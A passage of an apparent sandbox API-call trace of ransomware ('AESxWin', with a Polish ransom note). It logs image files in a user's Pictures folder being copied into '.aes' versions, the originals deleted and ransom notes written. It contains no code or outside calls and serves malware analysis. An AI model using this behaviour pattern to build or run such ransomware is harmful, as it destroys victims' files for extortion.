GetBestInterfaceEx (in: pDestAddr=0x27f8b14*(sa_family=2, sin_port=0x0, sin_addr="127.0.0.1"), pdwBestIfIndex=0x77ce74c | out: pdwBestIfIndex=0x77ce74c) returned 0x0 [0088.389] DeleteFileW (lpFileName="C:\\Users\\kFT6uTQW\\Pictures\\e8B06t5z\\vGEj4z4hhmv\\w26w\\kvHYSDZaY9p7NO8Z735z.png" (normalized: "c:\\users\\kft6utqw\\pictures\\e8b06t5z\\vgej4z4hhmv\\w26w\\kvhysdzay9p7no8z735z.png")) returned 1 [0088.418] GetFullPathNameW (in: lpFileName="C:\\Users\\kFT6uTQW\\Pictures\\e8B06t5z\\vGEj4z4hhmv\\w26w\\#$# JAK-ODZYSKAC-PLIKI.txt", nBufferLength=0x105, lpBuffer=0x77ce698, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kFT6uTQW\\Pictures\\e8B06t5z\\vGEj4z4hhmv\\w26w\\#$# JAK-ODZYSKAC-PLIKI.txt", lpFilePart=0x0) returned 0x4f [0088.418] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x77ceae8) returned 1 [0088.418] GetFileAttributesExW (in: lpFileName="C:\\Users\\kFT6uTQW\\Pictures\\e8B06t5z\\vGEj4z4hhmv\\w26w\\#$# JAK-ODZYSKAC-PLIKI.txt" (normalized: "c:\\users\\kft6utqw\\pictures\\e8b06t5z\\vgej4z4hhmv\\w26w\\#$# jak-odzyskac-pliki.txt"), fInfoLevelId=0x0, lpFileInformation=0x77ceb64 | out: lpFileInformation=0x77ceb64*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xee7d0c00, ftCreationTime.dwHighDateTime=0x1d3468a, ftLastAccessTime.dwLowDateTime=0xee7d0c00, ftLastAccessTime.dwHighDateTime=0x1d3468a, ftLastWriteTime.dwLowDateTime=0xee7d0c00, ftLastWriteTime.dwHighDateTime=0x1d3468a, nFileSizeHigh=0x0, nFileSizeLow=0xa2c)) returned 1 [0088.419] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x77ceae4) returned 1 [0088.419] SleepEx (dwMilliseconds=0x14, bAlertable=1) returned 0x0 [0088.484] GetFullPathNameW (in: lpFileName="C:\\Users\\kFT6uTQW\\Pictures\\e8B06t5z\\vGEj4z4hhmv\\w26w\\pFfH.bmp", nBufferLength=0x105, lpBuffer=0x77ce6b4, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kFT6uTQW\\Pictures\\e8B06t5z\\vGEj4z4hhmv\\w26w\\pFfH.bmp", lpFilePart=0x0) returned 0x3d [0088.484] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x77ceb04) returned 1 [0088.484] GetFileAttributesExW (in: lpFileName="C:\\Users\\kFT6uTQW\\Pictures\\e8B06t5z\\vGEj4z4hhmv\\w26w\\pFfH.bmp" (normalized: "c:\\users\\kft6utqw\\pictures\\e8b06t5z\\vgej4z4hhmv\\w26w\\pffh.bmp"), fInfoLevelId=0x0, lpFileInformation=0x77ceb80 | out: lpFileInformation=0x77ceb80*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x205561c0, ftCreationTime.dwHighDateTime=0x1d2fdff, ftLastAccessTime.dwLowDateTime=0x32caaab0, ftLastAccessTime.dwHighDateTime=0x1d3057d, ftLastWriteTime.dwLowDateTime=0x32caaab0, ftLastWriteTime.dwHighDateTime=0x1d3057d, nFileSizeHigh=0x0, nFileSizeLow=0x2ae6)) returned 1 [0088.484] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x77ceb00) returned 1 [0088.485] GetFullPathNameW (in: lpFileName="C:\\Users\\kFT6uTQW\\Pictures\\e8B06t5z\\vGEj4z4hhmv\\w26w\\pFfH.bmp", nBufferLength=0x105, lpBuffer=0x77ce520, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kFT6uTQW\\Pictures\\e8B06t5z\\vGEj4z4hhmv\\w26w\\pFfH.bmp", lpFilePart=0x0) returned 0x3d [0088.485] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x77ce9fc) returned 1 [0088.485] CreateFileW (lpFileName="C:\\Users\\kFT6uTQW\\Pictures\\e8B06t5z\\vGEj4z4hhmv\\w26w\\pFfH.bmp" (normalized: "c:\\users\\kft6utqw\\pictures\\e8b06t5z\\vgej4z4hhmv\\w26w\\pffh.bmp"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x540 [0088.485] GetFileType (hFile=0x540) returned 0x1 [0088.485] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x77ce9f8) returned 1 [0088.485] GetFileType (hFile=0x540) returned 0x1 [0088.485] GetFullPathNameW (in: lpFileName="C:\\Users\\kFT6uTQW\\Pictures\\e8B06t5z\\vGEj4z4hhmv\\w26w\\pFfH.bmp.aes", nBufferLength=0x105, lpBuffer=0x77ce518, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kFT6uTQW\\Pictures\\e8B06t5z\\vGEj4z4hhmv\\w26w\\pFfH.bmp.aes", lpFilePart=0x0) returned 0x41 [0088.485] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x77ce9f4) returned 1 [0088.485] CreateFileW (lpFileName="C:\\Users\\kFT6uTQW\\Pictures\\e8B06t5z\\vGEj4z4hhmv\\w26w\\pFfH.bmp.aes" (normalized: "c:\\users\\kft6utqw\\pictures\\e8b06t5z\\vgej4z4hhmv\\w26w\\pffh.bmp.aes"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x8e4 [0088.485] GetFileType (hFile=0x8e4) returned 0x1 [0088.485] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x77ce9f0) returned 1 [0088.485] GetFileType (hFile=0x8e4) returned 0x1 [0088.485] GetNetworkParams (in: pFixedInfo=0x0, pOutBufLen=0x77ce624 | out: pFixedInfo=0x0, pOutBufLen=0x77ce624) returned 0x6f [0088.507] LocalAlloc (uFlags=0x0, uBytes=0x248) returned 0x703ef10 [0088.507] GetNetworkParams (in: pFixedInfo=0x703ef10, pOutBufLen=0x77ce624 | out: pFixedInfo=0x703ef10, pOutBufLen=0x77ce624) returned 0x0 [0088.515] LocalFree (hMem=0x703ef10) returned 0x0 [0088.515] GetAdaptersAddresses () returned 0x6f [0088.519] LocalAlloc (uFlags=0x0, uBytes=0xd8c) returned 0x7074460 [0088.519] GetAdaptersAddresses () returned 0x0 [0088.524] GetPerAdapterInfo (in: IfIndex=0xb, pPerAdapterInfo=0x0, pOutBufLen=0x77ce38c | out: pPerAdapterInfo=0x0, pOutBufLen=0x77ce38c) returned 0x6f [0088.536] LocalAlloc (uFlags=0x0, uBytes=0x5c) returned 0x6ff2da0 [0088.537] GetPerAdapterInfo (in: IfIndex=0xb, pPerAdapterInfo=0x6ff2da0, pOutBufLen=0x77ce38c | out: pPerAdapterInfo=0x6ff2da0, pOutBufLen=0x77ce38c) returned 0x0 [0088.554] LocalFree (hMem=0x6ff2da0) returned 0x0 [0088.554] GetPerAdapterInfo (in: IfIndex=0x1, pPerAdapterInfo=0x0, pOutBufLen=0x77ce38c | out: pPerAdapterInfo=0x0, pOutBufLen=0x77ce38c) returned 0x6f [0088.561] LocalAlloc (uFlags=0x0, uBytes=0x5c) returned 0x6ff2da0 [0088.561] GetPerAdapterInfo (in: IfIndex=0x1, pPerAdapterInfo=0x6ff2da0, pOutBufLen=0x77ce38c | out: pPerAdapterInfo=0x6ff2da0, pOutBufLen=0x77ce38c) returned 0x0 [0088.567] LocalFree (hMem=0x6ff2da0) returned 0x0 [0088.567] LocalFree (hMem=0x7074460) returned 0x0 [0088.567] GetBestInterfaceEx (in: pDestAddr=0x27cf924*(sa_family=2, sin_port=0x0, sin_addr="127.0.0.1"), pdwBestIfIndex=0x77ce74c | out: pdwBestIfIndex=0x77ce74c) returned 0x0 [0088.663] DeleteFileW (lpFileName="C:\\Users\\kFT6uTQW\\Pictures\\e8B06t5z\\vGEj4z4hhmv\\w26w\\pFfH.bmp" (normalized: "c:\\users\\kft6utqw\\pictures\\e8b06t5z\\vgej4z4hhmv\\w26w\\pffh.bmp")) returned 1 [0088.667] GetFullPathNameW (in: lpFileName="C:\\Users\\kFT6uTQW\\Pictures\\e8B06t5z\\vGEj4z4hhmv\\w26w\\#$# JAK-ODZYSKAC-PLIKI.txt", nBufferLength=0x105, lpBuffer=0x77ce698, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kFT6uTQW\\Pictures\\e8B06t5z\\vGEj4z4hhmv\\w26w\\#$# JAK-ODZYSKAC-PLIKI.txt", lpFilePart=0x0) returned 0x4f [0088.667] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x77ceae8) returned 1 [0088.667] GetFileAttributesExW (in: lpFileName="C:\\Users\\kFT6uTQW\\Pictures\\e8B06t5z\\vGEj4z4hhmv\\w26w\\#$# JAK-ODZYSKAC-PLIKI.txt" (normalized: "c:\\users\\kft6utqw\\pictures\\e8b06t5z\\vgej4z4hhmv\\w26w\\#$# jak-odzyskac-pliki.txt"), fInfoLevelId=0x0, lpFileInformation=0x77ceb64 | out: lpFileInformation=0x77ceb64*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xee7d0c00, ftCreationTime.dwHighDateTime=0x1d3468a, ftLastAccessTime.dwLowDateTime=0xee7d0c00, ftLastAccessTime.dwHighDateTime=0x1d3468a, ftLastWriteTime.dwLowDateTime=0xee7d0c00, ftLastWriteTime.dwHighDateTime=0x1d3468a, nFileSizeHigh=0x0, nFileSizeLow=0xa2c)) returned 1 [0088.667] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x77ceae4) returned 1 [0088.667] SleepEx (dwMilliseconds=0x14, bAlertable=1) returned 0x0 [0088.704] GetFullPathNameW (in: lpFileName="C:\\Users\\kFT6uTQW\\Pictures\\e8B06t5z\\vGEj4z4hhmv\\HJ3HCKNndjhrdYoB.bmp", nBufferLength=0x105, lpBuffer=0x77ce6b4, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kFT6uTQW\\Pictures\\e8B06t5z\\vGEj4z4hhmv\\HJ3HCKNndjhrdYoB.bmp", lpFilePart=0x0) returned 0x44 [0088.704] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x77ceb04) returned 1 [0088.704] GetFileAttributesExW (in: lpFileName="C:\\Users\\kFT6uTQW\\Pictures\\e8B06t5z\\vGEj4z4hhmv\\HJ3HCKNndjhrdYoB.bmp" (normalized: "c:\\users\\kft6utqw\\pictures\\e8b06t5z\\vgej4z4hhmv\\hj3hcknndjhrdyob.bmp"), fInfoLevelId=0x0, lpFileInformation=0x77ceb80 | out: lpFileInformation=0x77ceb80*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xbd3e9220, ftCreationTime.dwHighDateTime=0x1d2f640, ftLastAccessTime.dwLowDateTime=0x3cb37fd0, ftLastAccessTime.dwHighDateTime=0x1d2fa50, ftLastWriteTime.dwLowDateTime=0x3cb37fd0, ftLastWriteTime.dwHighDateTime=0x1d2fa50, nFileSizeHigh=0x0, nFileSizeLow=0x15948)) returned 1 [0088.704] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x77ceb00) returned 1 [0088.704] GetFullPathNameW (in: lpFileName="C:\\Users\\kFT6uTQW\\Pictures\\e8B06t5z\\vGEj4z4hhmv\\HJ3HCKNndjhrdYoB.bmp", nBufferLength=0x105, lpBuffer=0x77ce520, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kFT6uTQW\\Pictures\\e8B06t5z\\vGEj4z4hhmv\\HJ3HCKNndjhrdYoB.bmp", lpFilePart=0x0) returned 0x44 [0088.704] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x77ce9fc) returned 1 [0088.704] CreateFileW (lpFileName="C:\\Users\\kFT6uTQW\\Pictures\\e8B06t5z\\vGEj4z4hhmv\\HJ3HCKNndjhrdYoB.bmp" (normalized: "c:\\users\\kft6utqw\\pictures\\e8b06t5z\\vgej4z4hhmv\\hj3hcknndjhrdyob.bmp"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x540 [0088.704] GetFileType (hFile=0x540) returned 0x1 [0088.705] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x77ce9f8) returned 1 [0088.705] GetFileType (hFile=0x540) returned 0x1 [0088.705] GetFullPathNameW (in: lpFileName="C:\\Users\\kFT6uTQW\\Pictures\\e8B06t5z\\vGEj4z4hhmv\\HJ3HCKNndjhrdYoB.bmp.aes", nBufferLength=0x105, lpBuffer=0x77ce518, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kFT6uTQW\\Pictures\\e8B06t5z\\vGEj4z4hhmv\\HJ3HCKNndjhrdYoB.bmp.aes", lpFilePart=0x0) returned 0x48 [0088.705] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x77ce9f4) returned 1 [0088.705] CreateFileW (lpFileName="C:\\Users\\kFT6uTQW\\Pictures\\e8B06t5z\\vGEj4z4hhmv\\HJ3HCKNndjhrdYoB.bmp.aes" (normalized: "c:\\users\\kft6utqw\\pictures\\e8b06t5z\\vgej4z4hhmv\\hj3hcknndjhrdyob.bmp.aes"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x8e4 [0088.705] GetFileType (hFile=0x8e4) returned 0x1 [0088.705] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x77ce9f0) returned 1 [0088.705] GetFileType (hFile=0x8e4) returned 0x1 [0088.705] GetNetworkParams (in: pFixedInfo=0x0, pOutBufLen=0x77ce624 | out: pFixedInfo=0x0, pOutBufLen=0x77ce624) returned 0x6f [0088.748] LocalAlloc (uFlags=0x0, uBytes=0x248) returned 0x703ef10 [0088.748] GetNetworkParams (in: pFixedInfo=0x703ef10, pOutBufLen=0x77ce624 | out: pFixedInfo=0x703ef10, pOutBufLen=0x77ce624) returned 0x0 [0088.770] LocalFree (hMem=0x703ef10) returned 0x0 [0088.770] GetAdaptersAddresses () returned 0x6f [0088.776] LocalAlloc (uFlags=0x0, uBytes=0xd8c) returned 0x7074460 [0088.776] GetAdaptersAddresses () returned 0x0 [0088.781] GetPerAdapterInfo (in: IfIndex=0xb, pPerAdapterInfo=0x0, pOutBufLen=0x77ce38c | out: pPerAdapterInfo=0x0, pOutBufLen=0x77ce38c) returned 0x6f [0088.791] LocalAlloc (uFlags=0x0, uBytes=0x5c) returned 0x6ff2da0 [0088.791] GetPerAdapterInfo (in: IfIndex=0xb, pPerAdapterInfo=0x6ff2da0, pOutBufLen=0x77ce38c | out: pPerAdapterInfo=0x6ff2da0, pOutBufLen=0x77ce38c) returned 0x0 [0088.805] LocalFree (hMem=0x6ff2da0) returned 0x0 [0088.806] GetPerAdapterInfo (in: IfIndex=0x1, pPerAdapterInfo=0x0, pOutBufLen=0x77ce38c | out: pPerAdapterInfo=0x0, pOutBufLen=0x77ce38c) returned 0x6f [0088.813] LocalAlloc (uFlags=0x0, uBytes=0x5c) returned 0x6ff2da0 [0088.813] GetPerAdapterInfo (in: IfIndex=0x1, pPerAdapterInfo=0x6ff2da0, pOutBufLen=0x77ce38c | out: pPerAdapterInfo=0x6ff2da0, pOutBufLen=0x77ce38c) returned 0x0 [0088.819] LocalFree (hMem=0x6ff2da0) returned 0x0 [0088.820] LocalFree (hMem=0x7074460) returned 0x0 [0088.820] GetBestInterfaceEx (in: pDestAddr=0x27937f8*(sa_family=2, sin_port=0x0, sin_addr="127.0.0.1"), pdwBestIfIndex=0x77ce74c | out: pdwBestIfIndex=0x77ce74c) returned 0x0 [0088.897] DeleteFileW (lpFileName="C:\\Users\\kFT6uTQW\\Pictures\\e8B06t5z\\vGEj4z4hhmv\\HJ3HCKNndjhrdYoB.bmp" (normalized: "c:\\users\\kft6utqw\\pictures\\e8b06t5z\\vgej4z4hhmv\\hj3hcknndjhrdyob.bmp")) returned 1 [0088.898] GetFullPathNameW (in: lpFileName="C:\\Users\\kFT6uTQW\\Pictures\\e8B06t5z\\vGEj4z4hhmv\\#$# JAK-ODZYSKAC-PLIKI.txt", nBufferLength=0x105, lpBuffer=0x77ce698, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kFT6uTQW\\Pictures\\e8B06t5z\\vGEj4z4hhmv\\#$# JAK-ODZYSKAC-PLIKI.txt", lpFilePart=0x0) returned 0x4a [0088.898] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x77ceae8) returned 1 [0088.898] GetFileAttributesExW (in: lpFileName="C:\\Users\\kFT6uTQW\\Pictures\\e8B06t5z\\vGEj4z4hhmv\\#$# JAK-ODZYSKAC-PLIKI.txt" (normalized: "c:\\users\\kft6utqw\\pictures\\e8b06t5z\\vgej4z4hhmv\\#$# jak-odzyskac-pliki.txt"), fInfoLevelId=0x0, lpFileInformation=0x77ceb64 | out: lpFileInformation=0x77ceb64*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 0 [0088.899] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x77ceae4) returned 1 [0088.899] RegOpenKeyExW (in: hKey=0x80000001, lpSubKey="SOFTWARE\\AESxWin", ulOptions=0x0, samDesired=0x20019, phkResult=0x77cea88 | out: phkResult=0x77cea88*=0x540) returned 0x0 [0088.899] RegQueryValueExW (in: hKey=0x540, lpValueName="ComputerId", lpReserved=0x0, lpType=0x77ceaa8, lpData=0x0, lpcbData=0x77ceaa4*=0x0 | out: lpType=0x77ceaa8*=0x1, lpData=0x0, lpcbData=0x77ceaa4*=0x4a) returned 0x0 [0088.899] RegQueryValueExW (in: hKey=0x540, lpValueName="ComputerId", lpReserved=0x0, lpType=0x77ceaa8, lpData=0x2773738, lpcbData=0x77ceaa4*=0x4a | out: lpType=0x77ceaa8*=0x1, lpData="0b75c6dd-d172-492e-b7be-2c05de30e808", lpcbData=0x77ceaa4*=0x4a) returned 0x0 [0088.899] GetFullPathNameW (in: lpFileName="C:\\Users\\kFT6uTQW\\Pictures\\e8B06t5z\\vGEj4z4hhmv\\#$# JAK-ODZYSKAC-PLIKI.txt", nBufferLength=0x105, lpBuffer=0x77ce508, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kFT6uTQW\\Pictures\\e8B06t5z\\vGEj4z4hhmv\\#$# JAK-ODZYSKAC-PLIKI.txt", lpFilePart=0x0) returned 0x4a [0088.899] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x77ce9e4) returned 1 [0088.899] CreateFileW (lpFileName="C:\\Users\\kFT6uTQW\\Pictures\\e8B06t5z\\vGEj4z4hhmv\\#$# JAK-ODZYSKAC-PLIKI.txt" (normalized: "c:\\users\\kft6utqw\\pictures\\e8b06t5z\\vgej4z4hhmv\\#$# jak-odzyskac-pliki.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0x8e4 [0088.899] GetFileType (hFile=0x8e4) returned 0x1 [0088.899] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x77ce9e0) returned 1 [0088.899] GetFileType (hFile=0x8e4) returned 0x1 [0088.899] WriteFile (in: hFile=0x8e4, lpBuffer=0x277c748*, nNumberOfBytesToWrite=0xa2c, lpNumberOfBytesWritten=0x77cea80, lpOverlapped=0x0 | out: lpBuffer=0x277c748*, lpNumberOfBytesWritten=0x77cea80*=0xa2c, lpOverlapped=0x0) returned 1 [0088.900] CloseHandle (hObject=0x8e4) returned 1 [0088.900] SleepEx (dwMilliseconds=0x14, bAlertable=1) returned 0x0 [0088.930] GetFullPathNameW (in: lpFileName="C:\\Users\\kFT6uTQW\\Pictures\\e8B06t5z\\vGEj4z4hhmv\\IQ814T.jpg", nBufferLength=0x105, lpBuffer=0x77ce6b4, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kFT6uTQW\\Pictures\\e8B06t5z\\vGEj4z4hhmv\\IQ814T.jpg", lpFilePart=0x0) returned 0x3a [0088.930] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x77ceb04) returned 1 [0088.930] GetFileAttributesExW (in: lpFileName="C:\\Users\\kFT6uTQW\\Pictures\\e8B06t5z\\vGEj4z4hhmv\\IQ814T.jpg" (normalized: "c:\\users\\kft6utqw\\pictures\\e8b06t5z\\vgej4z4hhmv\\iq814t.jpg"), fInfoLevelId=0x0, lpFileInformation=0x77ceb80 | out: lpFileInformation=0x77ceb80*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb71c3d30, ftCreationTime.dwHighDateTime=0x1d2fd83, ftLastAccessTime.dwLowDateTime=0xd9d5ccb0, ftLastAccessTime.dwHighDateTime=0x1d2fa54, ftLastWriteTime.dwLowDateTime=0xd9d5ccb0, ftLastWriteTime.dwHighDateTime=0x1d2fa54, nFileSizeHigh=0x0, nFileSizeLow=0xdd6d)) returned 1 [0088.930] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x77ceb00) returned 1 [0088.931] GetFullPathNameW (in: lpFileName="C:\\Users\\kFT6uTQW\\Pictures\\e8B06t5z\\vGEj4z4hhmv\\IQ814T.jpg", nBufferLength=0x105, lpBuffer=0x77ce520, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kFT6uTQW\\Pictures\\e8B06t5z\\vGEj4z4hhmv\\IQ814T.jpg", lpFilePart=0x0) returned 0x3a [0088.931] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x77ce9fc) returned 1 [0088.931] CreateFileW (lpFileName="C:\\Users\\kFT6uTQW\\Pictures\\e8B06t5z\\vGEj4z4hhmv\\IQ814T.jpg" (normalized: "c:\\users\\kft6utqw\\pictures\\e8b06t5z\\vgej4z4hhmv\\iq814t.jpg"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x8e4 [0088.931] GetFileType (hFile=0x8e4) returned 0x1 [0088.931] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x77ce9f8) returned 1 [0088.931] GetFileType (hFile=0x8e4) returned 0x1 [0088.931] GetFullPathNameW (in: lpFileName="C:\\Users\\kFT6uTQW\\Pictures\\e8B06t5z\\vGEj4z4hhmv\\IQ814T.jpg.aes", nBufferLength=0x105, lpBuffer=0x77ce518, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kFT6uTQW\\Pictures\\e8B06t5z\\vGEj4z4hhmv\\IQ814T.jpg.aes", lpFilePart=0x0) returned 0x3e [0088.931] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x77ce9f4) returned 1 [0088.931] CreateFileW (lpFileName="C:\\Users\\kFT6uTQW\\Pictures\\e8B06t5z\\vGEj4z4hhmv\\IQ814T.jpg.aes" (normalized: "c:\\users\\kft6utqw\\pictures\\e8b06t5z\\vgej4z4hhmv\\iq814t.jpg.aes"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x8dc [0088.931] GetFileType (hFile=0x8dc) returned 0x1 [0088.931] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x77ce9f0) returned 1 [0088.931] GetFileType (hFile=0x8dc) returned 0x1 [0088.931] GetNetworkParams (in: pFixedInfo=0x0, pOutBufLen=0x77ce624 | out: pFixedInfo=0x0, pOutBufLen=0x77ce624) returned 0x6f [0088.938] LocalAlloc (uFlags=0x0, uBytes=0x248) returned 0x703ef10 [0088.939] GetNetworkParams (in: pFixedInfo=0x703ef10, pOutBufLen=0x77ce624 | out: pFixedInfo=0x703ef10, pOutBufLen=0x77ce624) returned 0x0 [0088.946] LocalFree (hMem=0x703ef10) returned 0x0 [0088.946] GetAdaptersAddresses () returned 0x6f [0088.950] LocalAlloc (uFlags=0x0, uBytes=0xd8c) returned 0x7074460 [0088.950] GetAdaptersAddresses () returned 0x0 [0088.955] GetPerAdapterInfo (in: IfIndex=0xb, pPerAdapterInfo=0x0, pOutBufLen=0x77ce38c | out: pPerAdapterInfo=0x0, pOutBufLen=0x77ce38c) returned 0x6f [0088.962] LocalAlloc (uFlags=0x0, uBytes=0x5c) returned 0x6ff2da0 [0088.962] GetPerAdapterInfo (in: IfIndex=0xb, pPerAdapterInfo=0x6ff2da0, pOutBufLen=0x77ce38c | out: pPerAdapterInfo=0x6ff2da0, pOutBufLen=0x77ce38c) returned 0x0 [0088.968] LocalFree (hMem=0x6ff2da0) returned 0x0 [0088.968] GetPerAdapterInfo (in: IfIndex=0x1, pPerAdapterInfo=0x0, pOutBufLen=0x77ce38c | out: pPerAdapterInfo=0x0, pOutBufLen=0x77ce38c) returned 0x6f [0088.974] LocalAlloc (uFlags=0x0, uBytes=0x5c) returned 0x6ff2da0 [0088.974] GetPerAdapterInfo (in: IfIndex=0x1, pPerAdapterInfo=0x6ff2da0, pOutBufLen=0x77ce38c | out: pPerAdapterInfo=0x6ff2da0, pOutBufLen=0x77ce38c) returned 0x0 [0088.981] LocalFree (hMem=0x6ff2da0) returned 0x0 [0088.981] LocalFree (hMem=0x7074460) returned 0x0 [0088.981] GetBestInterfaceEx (in: pDestAddr=0x2782efc*(sa_family=2, sin_port=0x0, sin_addr="127.0.0.1"), pdwBestIfIndex=0x77ce74c | out: pdwBestIfIndex=0x77ce74c) returned 0x0 [0089.049] DeleteFileW (lpFileName="C:\\Users\\kFT6uTQW\\Pictures\\e8B06t5z\\vGEj4z4hhmv\\IQ814T.jpg" (normalized: "c:\\users\\kft6utqw\\pictures\\e8b06t5z\\vgej4z4hhmv\\iq814t.jpg")) returned 1 [0089.050] GetFullPathNameW (in: lpFileName="C:\\Users\\kFT6uTQW\\Pictures\\e8B06t5z\\vGEj4z4hhmv\\#$# JAK-ODZYSKAC-PLIKI.txt", nBufferLength=0x105, lpBuffer=0x77ce698, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kFT6uTQW\\Pictures\\e8B06t5z\\vGEj4z4hhmv\\#$# JAK-ODZYSKAC-PLIKI.txt", lpFilePart=0x0) returned 0x4a [0089.050] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x77ceae8) returned 1 [0089.050] GetFileAttributesExW (in: lpFileName="C:\\Users\\kFT6uTQW\\Pictures\\e8B06t5z\\vGEj4z4hhmv\\#$# JAK-ODZYSKAC-PLIKI.txt" (normalized: "c:\\users\\kft6utqw\\pictures\\e8b06t5z\\vgej4z4hhmv\\#$# jak-odzyskac-pliki.txt"), fInfoLevelId=0x0, lpFileInformation=0x77ceb64 | out: lpFileInformation=0x77ceb64*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xef31f480, ftCreationTime.dwHighDateTime=0x1d3468a, ftLastAccessTime.dwLowDateTime=0xef31f480, ftLastAccessTime.dwHighDateTime=0x1d3468a, ftLastWriteTime.dwLowDateTime=0xef31f480, ftLastWriteTime.dwHighDateTime=0x1d3468a, nFileSizeHigh=0x0, nFileSizeLow=0xa2c)) returned 1 [0089.050] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x77ceae4) returned 1 [0089.050] SleepEx (dwMilliseconds=0x14, bAlertable=1) returned 0x0 [0089.070] GetFullPathNameW (in: lpFileName="C:\\Users\\kFT6uTQW\\Pictures\\e8B06t5z\\S-t1dx_AJ3.bmp", nBufferLength=0x105, lpBuffer=0x77ce6b4, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kFT6uTQW\\Pictures\\e8B06t5z\\S-t1dx_AJ3.bmp", lpFilePart=0x0) returned 0x32 [0089.071] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x77ceb04) returned 1 [0089.071] GetFileAttributesExW (in: lpFileName="C:\\Users\\kFT6uTQW\\Pictures\\e8B06t5z\\S-t1dx_AJ3.bmp" (normalized: "c:\\users\\kft6utqw\\pictures\\e8b06t5z\\s-t1dx_aj3.bmp"), fInfoLevelId=0x0, lpFileInformation=0x77ceb80 | out: lpFileInformation=0x77ceb80*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x341b62d0, ftCreationTime.dwHighDateTime=0x1d303aa, ftLastAccessTime.dwLowDateTime=0xbc36af0, ftLastAccessTime.dwHighDateTime=0x1d2fa11, ftLastWriteTime.dwLowDateTime=0xbc36af0, ftLastWriteTime.dwHighDateTime=0x1d2fa11, nFileSizeHigh=0x0, nFileSizeLow=0xc031)) returned 1 [0089.071] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x77ceb00) returned 1 [0089.071] GetFullPathNameW (in: lpFileName="C:\\Users\\kFT6uTQW\\Pictures\\e8B06t5z\\S-t1dx_AJ3.bmp", nBufferLength=0x105, lpBuffer=0x77ce520, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kFT6uTQW\\Pictures\\e8B06t5z\\S-t1dx_AJ3.bmp", lpFilePart=0x0) returned 0x32 [0089.071] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x77ce9fc) returned 1 [0089.071] CreateFileW 